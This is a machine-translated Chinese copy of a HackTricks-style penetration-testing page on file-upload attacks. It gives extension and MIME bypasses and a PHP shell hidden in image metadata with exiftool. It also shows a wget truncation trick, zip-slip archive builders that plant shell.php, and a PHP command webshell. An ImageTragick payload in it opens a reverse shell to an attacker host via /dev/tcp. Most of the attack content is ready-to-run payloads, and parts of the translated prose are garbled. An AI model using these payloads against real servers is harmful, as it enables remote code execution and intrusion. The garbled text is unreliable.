黑客技术之文件上传|渗透测试|黑客技巧|hacktricks

黑客技术之文件上传|渗透测试|黑客技巧|hacktricks

文件上传通用方法

其他有用的扩展:

PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc

ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml

Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

Coldfusion: .cfm, .cfml, .cfc, .dbm

Flash: .swf

Perl: .pl, .cgi

Erlang Yaws Web Server: .yaws

绕过文件扩展名检查

  1. 如果他们申请,在检查前一个后缀。还可以使用一些大写字母它们进行测试:pHp,.pHP5,.PhAr …
  2. 检查在执行扩展之前添加有效后缀(也请使用以前的扩展):
    • file.png.php
    • file.png.Php5
  3. 尝试在末尾添加特殊字符。您可以使用Burp暴力破解所有asciiUnicode字符。(请注意,您也可以尝试使用之前提出的扩展名
    • file.php%20
    • file.php%0a
    • file.php%00
    • file.php%0d%0a
    • file.php/
    • file.php.\
    • file.
    • file.php….
    • file.pHp5 ….
  4. 尝试使用诸如使扩展倍增或在扩展之间添加垃圾数据(字节)之类的技术绕过欺骗服务器端扩展解析器的保护。您还可以使用以前的扩展来准备更好的有效负载。
    • file.png.php
    • file.png.pHp5
    • file.php%00.png
    • file.php\x00.png
    • file.php%0a.png
    • file.php%0d%0a.png
    • flile.php垃圾数据123png
  5. 在先前的检查中添加另一层扩展
    • file.png.jpg.php
    • file.php%00.png%00.jpg
  6. 尝试将exec扩展名放在有效扩展名之前,然后祈祷以免服务器配置错误。**(可用于利用Apache错误配置,其中扩展名为.php的任何东西,但不一定以.php结尾的代码都将执行代码):
    • 例如:file.php.png
  7. Windows中使用NTFS备用数据流(ADS)。在这种情况下,将在禁止的扩展名之后和允许的扩展名之前插入一个冒号“:”。结果,将在服务器上创建一个带有禁止扩展名空文件(例如“ file.asax:.jpg”)。以后可以使用其他技术(例如,使用短文件名)来编辑此文件。“ :: $ data ”模式也可以用于创建非空文件。因此,在此模式后添加点字符也可能有助于绕过进一步的限制(例如“ file.asp :: $ data”。)

绕过内容类型和幻数

  1. 旁路通过设置内容类型检查的的内容类型报头到:image/ PNGtext/plain , application/octet-stream
  2. 通过在文件的开头添加真实图像字节来绕过幻数检查(混淆file命令)。或在元数据中引入shell:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
  1. 也有可能只是在文件中检查魔术字节,您可以在文件中的任何位置设置它们。

其他要检查的技巧

  • 查找一个漏洞以重命名已经上传的文件(以更改扩展名)。
  • 查找一个本地文件包含漏洞以执行后门程序。
  • 可能的信息披露
    1. 上传几次(并在同一时间同一个文件&同名
    2. 上传文件的名称一个的文件文件夹已经存在
    3. 上传名称为“.”,“ ..”或“ …”的文件。例如,在Windows的Apache中,如果应用程序将上载的文件保存在“ /www/uploads/”目录中,则“。” filename将在“ /www/”目录中创建一个名为“ uploads”的文件。
    4. 上传可能不会被删除容易比如一个文件:“…… .JPG”NTFS。(Windows)
    5. Windows中上载带有无效字符(例如名称)的文件。|<>*?” (Windows)
    6. Windows中使用保留禁止名称上传文件,例如CON,PRN,AUX,NUL,COM1,COM2,COM3,COM4,COM5,COM6,COM7,COM8,COM9,LPT1,LPT2,LPT3,LPT4,LPT5,LPT6 ,LPT7,LPT8和LPT9。
  • 还尝试上传一个可执行文件(.exe)或.html(不太可疑),当受害者不小心打开它们时,它们将执行代码

特殊的扩展技巧

如果您试图将文件上传到PHP服务器请查看.htaccess技巧以执行代码。 如果您试图将文件上传到ASP服务器请查看.config技巧以执行代码

这些文件类似于Java的,但适用于php,可以像php文件一样使用(用php执行它,或将其包含在脚本中…).phar.jar

该扩展有时用于仅用于导入文件的php文件,因此,在某些时候,可能有人允许该扩展被执行.inc

wget文件上传/SSRF技巧

在某些情况下,你可能会发现一个服务器使用来下载文件,你可以指出URL。在这些情况下,代码可能正在检查下载文件的扩展名是否在白名单内,以确保仅允许文件被下载。但是,可以绕过此检查。Linux中,文件名最大长度为255,但是wget将文件名截断为236个字符。你可以下载一个叫“A” * 232 +“ PHP的‘+’.GIF”的文件,这个文件名会绕过检查wget(如本例中的“ .gif”有效的扩展名),但是wget会将文件重命名“ A” * 232 +“.php”

#创建文件和HTTP服务器
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#下载文件
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s      

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

请注意,您可能想绕过此检查的另一个选项是使HTTP服务器重定向到其他文件,因此初始URL将绕过该检查,然后wget将使用新名称下载重定向的文件。除非将wget与参数一起使用,否则将无法工作因为wget将下载重定向的页面,并带有原始URL中指示的文件名 --trust-server-names

其他资源

从文件上传到其他漏洞

Upload Button, Upload icon and button

这是您可以上传(来自link)可以实现的十大事情:

  1. ASP / ASPX / PHP5 / PHP / PHP3:Webshel​​l / RCE
  2. SVG:存储的XSS / SSRF / XXE
  3. GIF:存储的XSS / SSRF
  4. CSV:CSV注入
  5. XML:XXE
  6. AVI:LFI / SSRF
  7. HTML / JS:HTML注入/ XSS /打开重定向
  8. PNG / JPEG:像素泛洪攻击(DoS)
  9. ZIP:通过LFI / DoS进行RCE
  10. PDF / PPTX:SSRF /盲XXE

压缩文件自动解压上传

如果您可以上传将在服务器内部解压缩的ZIP,则可以执行以下两项操作:

上载包含软链接的链接到其他文件,然后访问解压缩的文件,您将访问链接的文件:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt

在不同的文件夹中解压缩

解压缩的文件将在意外的文件夹中创建。

可以轻易地假设此设置可以通过恶意文件上传保护其免受操作系统级命令的执行,但不幸的是,事实并非如此。由于ZIP存档格式支持分层压缩,并且我们还可以引用更高级别的目录,因此可以通过滥用目标应用程序的解压缩功能来从安全上传目录中退出。

一个自动利用创建此类型的文件可以在这里找到:https://github.com/ptoomey3/evilarc

python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

一些python代码可创建恶意zip:

#!/usr/bin/python
import zipfile
from cStringIO import StringIO 
 
def create_zip():
    f = StringIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
    z.writestr('otherfile.xml', 'Content of the file')
    z.close()
    zip = open('poc.zip','wb')
    zip.write(f.getvalue())
    zip.close() 
 
create_zip()

为了实现远程命令执行,我采取了以下步骤:

  1. 创建一个PHP shell:
<?php 
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
}?>
  1. 使用“文件喷涂(file spraying)”并创建压缩的zip文件:
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
  adding: xxAcmd.php (deflated 40%)
  adding: xxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#

3.使用hexeditor或vi,将“ xxA”更改为“ ../”,我使用vi:

:set modifiable
:%s/xxA/..\//g
:x!

完毕!

仅剩下一个步骤:上传ZIP文件,然后让应用解压缩!如果成功,并且Web服务器具有足够的特权来写入目录,则系统上将有一个简单的OS命令执行shell:

参考https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

ImageTragic

上载带有图像扩展名的内容以利用此漏洞(ImageMagick,7.0.1-1)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

在PNG上嵌入PHP Shell

将Web Shell放入IDAT块的主要原因是它具有绕过调整大小和重新采样操作的能力-PHP-GD包含两个函数来执行imagecopyresizeimagecopyresampled

阅读这篇文章:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

多种语言文件

在安全上下文中,polyglots是多种不同文件类型的有效形式的文件。例如,GIFAR既是GIF也是RAR文件。还有一些文件可以是GIF和JS,也可以是PPT和JS,等等。

多语言文件通常用于绕过基于文件类型的保护。许多允许用户上载文件的应用程序仅允许上载某些类型的文件,例如JPEG,GIF,DOC,以防止用户上载潜在危险的文件,例如JS文件,PHP文件或Phar文件。

这有助于上传与几种不同格式的格式兼容的文件。它可以让您上传看起来像JPEG的PHAR文件(PHp存档),但是可能您仍然需要有效的扩展名,并且如果上传功能不允许,那将无济于事。

:在更多信息https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a以前的LFI-Linux列表下一个PDF上传-XXE和CORS绕过

from